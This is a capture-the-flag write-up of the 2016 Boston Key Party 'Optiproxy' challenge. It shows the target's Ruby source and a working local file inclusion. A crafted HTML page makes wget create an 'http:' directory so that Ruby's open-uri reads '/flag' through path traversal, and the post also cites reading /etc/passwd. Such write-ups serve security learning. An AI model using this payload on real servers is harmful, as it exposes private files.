BostonKeyParty CTF - Optiproxy

March 10, 2016

After I completed SimpleCalc, I wasted way too much time on ComplexCalc and didn’t solve it ( I was so close, I just missed something really obvious). On the last day I only had a couple hours left so I decided to tackle something that shouldn’t be too difficult and that ended up being Optiproxy.

You can find the challenge materials over at http://captf.com/2016/bostonkeyparty/18-optiproxy/

Here’s the source of the Ruby script:

require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'

set :bind, "0.0.0.0"
cdir = Dir.pwd
get '/' do
	str = "welcome to the automatic resource inliner, we inline all images"
	str << " go to /example.com to get an inlined version of example.com"
	str << " flag is in /flag"
	str << " source is in /source"
	str
end

get '/source' do
	IO.read cdir + "/" + $0
end

get '/flag' do
	str = "I mean, /flag on the file system... If you're looking here, I question"
	str << " your skills"
	str
end

get '/:url' do
	url = params[:url]
	main_dir = Dir.pwd
	temp_dir = ""
	dir = Dir.mktmpdir "inliner"
	Dir.chdir dir
	temp_dir = dir
	exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
	`#{exec}`
	my_dir = Dir.glob ("**/")
	Dir.chdir my_dir[0]
	index_file = "index.html"
	html_file = IO.read index_file
	doc = Nokogiri::HTML(open(index_file))
	doc.xpath('//img').each do |img|
		header = img.xpath('preceding::h2[1]').text
		image = img['src']
		img_data = ""
		uri_scheme = URI(image).scheme
		begin
			if (uri_scheme == "http" or uri_scheme == "https")
				url = image
			else
				url = "http://#{url}/#{image}"
			end
			img_data = open(url).read
			b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
			img['src'] = b64d
		rescue
			# gotta catch 'em all
			puts "lole"
			next
		end
	end
	FileUtils.rm_rf dir
	Dir.chdir main_dir
	doc.to_html
end

In a nutshell, what it is supposed to do is provide a service that fetches a webpage of your choosing, along with its dependencies, then inlines the images by using the data scheme and base64 encoding them before returning the results to you.

However, if that was all it did then this wouldn’t be fun at all ;)

As the script tells us, the flag for this challenge is in /flag. So we’re definitely either trying to find a remote code execution / command injection vulnerability in the wget command or some sort of local file inclusion.

I saw that the string passed to the wget was escaped and I wasn’t feeling up to playing guessing games with the shell and multibyte characters so I decided to focus on the later part of the code.

I started playing around with the scheme function that was being called on the image URI’s.

─Rikaard@Rikaards-MacBook-Pro  ~/ctf/bkp/optiproxy
╰─$ irb
irb(main):001:0> require 'open-uri'
=> true
irb(main):003:0> URI('http://test.com/a.png').scheme
=> "http"
irb(main):004:0> URI('test.com/a.png').scheme
=> nil
irb(main):005:0> URI('http:test.com/a.png').scheme
=> "http"
irb(main):006:0> URI('http://test.com/a.png').scheme
=> "http"
irb(main):007:0> URI('http//test.com/a.png').scheme
=> nil

From this, it was easy to see that all the scheme function cared about was everything up to the ‘:‘.

This made me wonder because since anything starting with http: or https: would pass the if (uri_scheme == "http" or uri_scheme == "https") check but something like ‘http:test’ is a valid filename.

Next I decided to find out how open would treat my crafted URI.

─Rikaard@Rikaards-MacBook-Pro  ~/ctf/bkp/optiproxy
╰─$ irb                                                                   255 ↵
irb(main):001:0> require 'open-uri'
=> true
irb(main):003:0> open('http://google.com')
=> #<Tempfile:/var/folders/rb/htyhscy144vbtk1n390ps02w0000gn/T/open-uri20160309-55029-siep5z>
irb(main):004:0> open('http:google.com')
Errno::ENOENT: No such file or directory - http:google.com

Awesome :D

So at this point, I could definitely trick it into reading a local file… as long as it was in the current directory and started with http:…. XD

Not all that useful right about now. It was at this point that I started googling a bit and I found this awesome little article by Egor Homakov ( who I dub Websec Jeezus ).

http://sakurity.com/blog/2015/02/28/openuri.html

When I read this line,

Looks good, but if you manage to create a folder called “http:”, the attacker can read local files with http:/../../../../../etc/passwd

everything became obvious.

Since the wget had the --page-requisites flag passed to it, it should be recreating the directory structure of the page it was fetching. Therefore, by linking to a resource in a directory ./http: I should be able to create a directory called http: on the remote server allowing me to pull off a local file inclusion.

So I created an index.html file and hosted it on one of my servers.

<html>
<body>
<img src="./http:/cat2.jpg">
<img src="http:/../../../../../../../../../../../../../flag">
</body>
</html>

When I viewed the source after letting Optiproxy inline it, I saw this.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<body>
<img src="data:image/png;base64....reallylong">
<img src="data:image/png;base64,UklLe2V4YW1wbGVmbGFnfQo=">
</body>
</html>

I decoded UklLe2V4YW1wbGVmbGFnfQo=

echo -ne 'UklLe2V4YW1wbGVmbGFnfQo=' | base64 -d
RIK{exampleflag}

And there was the flag :)